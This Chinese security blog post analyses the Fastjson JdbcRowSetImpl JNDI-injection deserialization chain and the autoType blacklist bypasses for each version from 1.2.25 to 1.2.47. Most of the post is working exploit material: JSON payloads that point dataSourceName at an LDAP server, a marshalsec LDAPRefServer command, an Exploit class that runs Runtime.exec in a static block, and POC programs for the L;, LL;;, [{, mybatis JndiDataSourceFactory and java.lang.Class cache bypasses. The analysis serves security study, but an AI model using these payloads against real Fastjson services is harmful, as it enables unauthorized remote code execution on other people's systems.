Java安全之FastJson JdbcRowSetImpl 链分析
Java安全之FastJson JdbcRowSetImpl 链分析
0x00 前言
续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl
利用链,JdbcRowSetImpl
的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)
即可进行命令执行。
0x01 漏洞分析
利用限制
首先来说说限制,基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
攻击流程
- 首先是这个lookup(URI)参数可控
- 攻击者控制URI参数为指定为恶意的一个RMI服务
- 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
- 目标在进行
lookup()
操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()
获取外部远程对象实例; - 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
JDNI注入细节
简单分析一下lookup参数可控后,如何走到RCE.
调用链:
- -> RegistryContext.decodeObject()
- -> NamingManager.getObjectInstance()
- -> factory.getObjectInstance()
- -> NamingManager.getObjectFactoryFromReference()
- -> helper.loadClass(factoryName);
loadclass进行实例化,触发静态代码块的Runtime代码执行命令执行。
调试分析
影响版本:fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。
- @type:目标反序列化类名;
- dataSourceName:RMI注册中心绑定恶意服务;
- autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。
详细分析fastjson如何解析可查看Fastjson TemplatesImpl链分析文章,再次不做赘诉。
启动LDAP服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代码,需将代码编译成class文件然后挂在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC代码:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
看到payload中的dataSourceName
参数在解析时候则会调用setDataSourceName
对DataSourceNamece
变量进行赋值,来看到代码
而autoCommit
也一样会调用setAutoCommit
setAutoCommit
方法调用this.connect();
lookup中则是传入了this.getDataSourceName()
,返回dataSource变量内容。而这个dataSource内容则是在前面setDataSourceName
方法中进行设置的,该参数是可控的。所以可以进行JDNI注入从而达到命令执行。
利用链
- -> JdbcRowSetImpl.execute()
- -> JdbcRowSetImpl.prepare()
- -> JdbcRowSetImpl.connect()
- -> InitialContext.lookup(dataSource)
而在Fastjson JdbcRowSetImpl 链利用中,则是利用了后半段。
0x02 绕过方式
1.2.25版本修复
先将Fastjson组件升级到1.2.25版本后进行发送payload,查看是否能够利用成功。
修复改动:
- 自从1.2.25 起 autotype 默认为False
- 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制
根据官方文档开启AutoType的方式,假设不开启该功能是无法进行反序列化的。因为默认白名单是空的,需要自定义。白名单的绕过基本不可能,都是从黑名单作为入口。白名单需要添加,而黑名单中则是内置在Fastjson中。
1、JVM启动参数
-Dfastjson.parser.autoTypeSupport=true
2、代码中设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下面来看代码,这里使用了IDEA中的jar包对比功能
可以看到DefaultJSONParser
发送了变动,在这里多了一个checkAutoType
方法去做校验。
跟进方法查看
前面会进行白名单的校验,如果匹配中的话调用loadClass加载,返回一个Class对象。 这里默认白名单的列表为空。
后面这则是会恶意类的黑名单进行匹配,如果加载类的前面包含黑名单所定义的字符则抛出异常。
1.2.25-1.2.41 绕过
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
先来调试不开启的情况,前面依旧就会遍历黑名单对class进行赋值,但最后这个会去检测如果未开启,则直接抛异常,开启则会去返回。
将注释打开后,则直接返回class
命令执行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl
为什么也会触发命令执行?
原因在于com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);
方法中,可跟进查看。
这里解析到内容如果为L
开头,;
结尾的话就会将这2个字符清空,前面其实还有一个[
。
1.2.42 修复方式
修复改动:明文黑名单改为HASH值,checkcheckAutoType
方法添加L
和;
字符过滤。
加密方法位于com.alibaba.fastjson.util.TypeUtils#fnv1a_64
可将进行碰撞获取值。
1.2.42绕过方式
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
在com.alibaba.fastjson.parser#checkcheckAutoType
中将L
和;
进行清空。这里是利用了双写的方式,前面的规则将第一组L
和;
,进行清空,而在TypeUtils.loadclass
中将第二组内容清空。
1.2.43 修复方式
在1.2.43版本中对了LL开头的绕过进行了封堵
//hash计算基础参数 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L开头,;结尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL开头 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
再次执行poc代码可以看到报错了。
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
1.2.43 绕过方式
前面可以看到[
也进行了清空,可以从该地方进行入手。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
执行报错了,报错信息如下:
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
提示缺少了一个{
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
1.2.44 修复方式
将[
进行限制,具体实现可自行查看。
再次执行前面的poc代码可以看到报错了。
1.2.45绕过方式
利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}
}
下面来分析一下使用这个payload为什么能绕过。其实是借助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
进行绕过,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
并不在黑名单中。
这里是对反序列化后的对象是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
传入properties
参数,则会去自动调用setProperties
而在1.2.46无法执行成功,应该是对该类拉入了黑名单中。
1.2.25-1.2.47通杀
为什么说这里标注为通杀呢,其实这里和前面的绕过方式不太一样,这里是可以直接绕过AutoTypeSupport
,即便关闭AutoTypeSupport
也能直接执行成功。
先来看payload
public class POC { public static void main(String[] args) { String PoC = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(PoC); }}
可以看到payload和前面的payload构造不太一样,这里来分析一下。
这里未开启AutoTypeSupport
不会走到下面的黑白名单判断。
fastjson会使用 checkAutoType
方法来检测@type
中携带的类,但这次我们传入的是一个java.lang.class
来看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
方法中
跟进deserialze
方法查看,这里的deserialze
是MiscCodec#deserialze
上面代码会从objVal = parser.parse();
获取内容为com.sun.rowset.JdbcRowSetImpl
。来看到下面
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
这里使用了TypeUtils.loadClass
函数加载了strVal
,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中。
这里的true参数代表开启缓存,如果开启将恶意类存储到mapping中
断点来到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
因为前面将com.sun.rowset.JdbcRowSetImpl
所以这里能获取到com.sun.rowset.JdbcRowSetImpl
该判断不为true,从而绕过黑名单。
而后续则是和前面的一样,通过dataSourceName
触发对于的set方法将dataSourceName
变量进行设置,而后通过autoCommit
,触发setAutoCommit
触发lookup()
达到命令执行。
参考文章
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/7027
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
http://wjlshare.com/archives/1526
0x03 结尾
其实后面还有几个绕过的方式后面再去做分析,除此外还有一些BCEL来解决fastjson不出网回显等方面都值得去思考和研究。
Java安全之FastJson JdbcRowSetImpl 链分析的更多相关文章
- Java安全之Fastjson内网利用
Java安全之Fastjson内网利用 0x00 前言 在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是 JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- java代码中fastjson生成字符串和解析字符串的方法和javascript文件中字符串和json数组之间的转换方法
1.java代码中fastjson生成字符串和解析字符串的方法 List<TemplateFull> templateFulls = new ArrayList<TemplateFu ...
- Java基础/利用fastjson反序列化json为对象和对象数组
利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- Java Hour 42 fastjson
fastjson 神一样的存在,然后由于缺乏文档,很多功能完全不知道该怎么用. 42.1 字段的大小写问题 刚开始没想到会因为字段的大小写问题而导致反序列化json 失败. @Override pub ...
- java中使用fastjson、jackson、json-lib解析JSON-------------------妈妈再也不用担心JSON解析
1.fastjson引入包<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjso ...
- Java中让fastJson识别Colloction和Map中的泛型类
由于fastJson的高效性,最近采用fastJson来做序列化并存储数据,但出现了一个麻烦的问题,如果将Map<K,V>这样的类型序列化,反序列化就会不尽人意,有以下尝试: 使用JSON ...
- Java基础/利用fastjson序列化对象为JSON
利用fastjson序列化对象为JSON 参考博客:http://blog.csdn.net/zeuskingzb/article/details/17468079 Step1:定义实体类 //用户类 ...
随机推荐
- fianl关键词
一.final关键字概述 final关键字具有最终或不可改变的含义,可用于修饰类.变量.方法.因此被final修饰的类.变量.方法具有以下特征: --final修饰的类不能被继承: --final修饰 ...
- .Net5 下Dictionary 为什么可以在foreach中Remove
在一个讨论群里,看见有人说Dictionary可以在foreach中直接调用Remove了,带着疑问,写了简单代码进行尝试 class Program { static void Main(strin ...
- International Collegiate Programming Contest 2019 Latin American Regional Contests Problem K
题目链接:https://codeforces.ml/gym/102428/attachments/download/9820/statements-en.pdf 题意:构造一个多项式使得外星人编号的 ...
- 【LeetCode】2020-03 每日一题
121. 买卖股票的最佳时机(简单) [分类]:模拟.思维 [题解]:可以用O(n)的复杂度完成,只需要在遍历的时候记录到当前位置为止买入股票的最小价格minn,再维护一个当前卖出股票价(a-minn ...
- 【DB宝46】NoSQL数据库之CouchBase简介、集群搭建、XDCR同步及备份恢复
目录 一. CouchBase概述 1.1.简述 1.2.CouchDB和CouchBase比对 1.2.1.CouchDB和CouchBase的相同之处 1.2.2.CouchDB和CouchBas ...
- windows环境下抓密码总结
在线抓密码 1.mimikatz privilege::debug token::whoami token::elevate lsadump::sam mimikatz.exe "privi ...
- [状压DP]吃奶酪
吃 奶 酪 吃奶酪 吃奶酪 题目描述 房间里放着 n n n 块奶酪.一只小老鼠要把它们都吃掉,问至少要跑多少距离?老鼠一开始在 ( 0 , 0 ) (0,0) (0,0)点处. 输入 第一行有一个整 ...
- [BFS]电子老鼠闯迷宫
电子老鼠闯迷宫 Description 如下图12×12方格图,找出一条自入口(2,9)到出口(11,8)的最短路径. Input Output Sample Input 12 //迷宫大小 2 9 ...
- [枚举]P1085 不高兴的津津
不高兴的津津 题目描述 津津上初中了.妈妈认为津津应该更加用功学习,所以津津除了上学之外,还要参加妈妈为她报名的各科复习班.另外每周妈妈还会送她去学习朗诵.舞蹈和钢琴.但是津津如果一天上课超过八个小时 ...
- 010_Nginx入门
目录 使用场景 什么是Nginx 正向代理与反向代理 正向代理:代理客户端 反向代理:代理服务端 Nginx的作用 反向代理 负载均衡 轮询 加权轮询 IP hash 动静分离 Windows下安装 ...